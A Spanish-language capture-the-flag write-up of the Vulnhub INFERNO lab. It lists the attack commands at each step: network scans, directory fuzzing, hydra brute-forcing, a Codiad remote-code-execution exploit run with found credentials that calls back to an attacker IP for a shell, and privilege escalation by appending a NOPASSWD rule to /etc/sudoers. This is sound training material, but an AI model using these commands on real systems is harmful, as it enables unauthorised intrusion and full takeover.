**Hacking Ético**

CTF INFERNO

## 

### 

ÍNDICE

[Introducción 2](#_30j0zll)

[Objetivo 2](#_1fob9te)

[Requerimientos 2](#_3znysh7)

[Enumeración 2](#_8vj79stl5ikd)

[Penetración 3](#_h8zf1bwwas15)

[22/tcp 3](#_4dyym2386nql)

[Fuzzing 5](#_dk4msi1bjudc)

[Fuerza bruta 6](#_oda3fq8ar2mi)

[Vulnerabilidades registradas relacionadas con Codiad 9](#_32zzkfvqs1ac)

[exploit 9](#_h58gzqp7lt52)

[Credenciales 11](#_nmlwh1ad75qg)

[**Flag 1 12**](#_dlrut8bsbu30)

[Escalada de privilegios 12](#_6bhzdzkjask7)

[**Flag 2 12**](#_8nrn5ee0nggc)

[**Bibliografía 13**](#_r4bnykp0x1gv)

# 

# Introducción

Se realizará un de los retos CTF llamados INFERNO de la plataforma Vulnhub.

# Objetivo

El propósito de este informe es mostrar una prueba de penetración en una red de laboratorio.

# Requerimientos

Para la replicación de este informe será necesario contar con los siguientes elementos

* Conexión de red local.
* Software de virtualización ( Virtualbox ).

# Enumeración

| **nmap -sn 192.168.56.0/24 -n -T5 | grep report > hosts** |
| --- |
|  |
| **sudo nmap -sS -p- 192.168.56.0/24 -n --min-rate=5000 > ports** |
| La lista continua… Descubrimos la máquina a explotar en la ip 192.168.56.**14.** |
| **nmap -sC 192.168.56.14 -n --min-rate=5000 -o full -vv** |
|  |
| Penetración |
| 22/tcp |
| Analizamos el código fuente del index:  view-sourcehttp//192.168.56.14/ |
|  |
|  |
| Sospecho de mensajes ocultos en la imagen |
|  |
| Elaboro un diccionario con las palabras de la página principal |
| **cewl -d 0** [**http//192.168.56.14**](http://192.168.56.14) **-w wordlist** |
| Hago uso de una imagen docker que ya tiene instaladas herramientas forenses y habilita la opción mediante un script lanzarlas consecutivamente hasta lograr un resultado. |
| Recojo el wordlist y el archivo a investigar en la misma carpeta |
| **sudo docker run --rm -it -v ./data dominicbreuker/stego-toolkit /bin/bash** |
|  |
| **Nada sospechoso.** |
| Fuzzing |
| \*\* ip → 192.168.136.14 |
| **gobuster dir -u http//192.168.136.14 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php,txt,html,jpg,js,** |
|  |
| [Error 401](https://http.cat/status/401) → falta de credenciales de acceso |
|  |
| Fuerza bruta |
| Intentamos conseguir acceso del usuario administrador por defecto (admin) |
| **hydra -l admin -P /usr/share/wordlists/rockyou.txt.gz -f $ip http-get /inferno/ -t64** |
|  |
|  |
|  |
| Buscando variables de entorno el el proyecto podemos ver el **config.php** |
| En este archivo podemos ver que se trata de una plataforma web |
| http//codiac.co/ |
| Vulnerabilidades registradas relacionadas con Codiad |
| [https//www.cvedetails.com/vulnerability-list/vendor\_id-13030/product\_id-26787/Codiad-Codiad.html](https://www.cvedetails.com/vulnerability-list/vendor_id-13030/product_id-26787/Codiad-Codiad.html) |
| [https//www.exploit-db.com/exploits/49705](https://www.exploit-db.com/exploits/49705) |
| exploit |
| [https//github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit](https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit) |
| python2 exploit.py http//admindante1@192.168.136.14/inferno/ 'admin' 'dante1' 192.168.136.124 69 linux |
| **Ventana 1** |
|  |
| **Ventana 2** |
|  |
| **Ventana 3** |
|  |
|  |
| Encontramos un archivo interesante en downloads |
|  |
| **Contenido** |
|  |
| Credenciales |
| danteV1rg1l10h3lpm3 |
| **ssh dante@192.168.136.14** |
|  |
| Flag 1 |
|  |
| Escalada de privilegios |
|  |
| Tenemos privilegios para usar el comando tee |
| **echo 'dante ALL=(ALL) NOPASSWDALL' | sudo tee -a /etc/sudoers** |
|  |
| Flag 2 |
|  |

| Bibliografía |
| --- |
| Docker [https//www.kali.org/docs/containers/installing-docker-on-kali/](https://www.kali.org/docs/containers/installing-docker-on-kali/) |
| Nmap |
| Stego-toolkit container [https//github.com/DominicBreuker/stego-toolkit](https://github.com/DominicBreuker/stego-toolkit) |
| gobuster |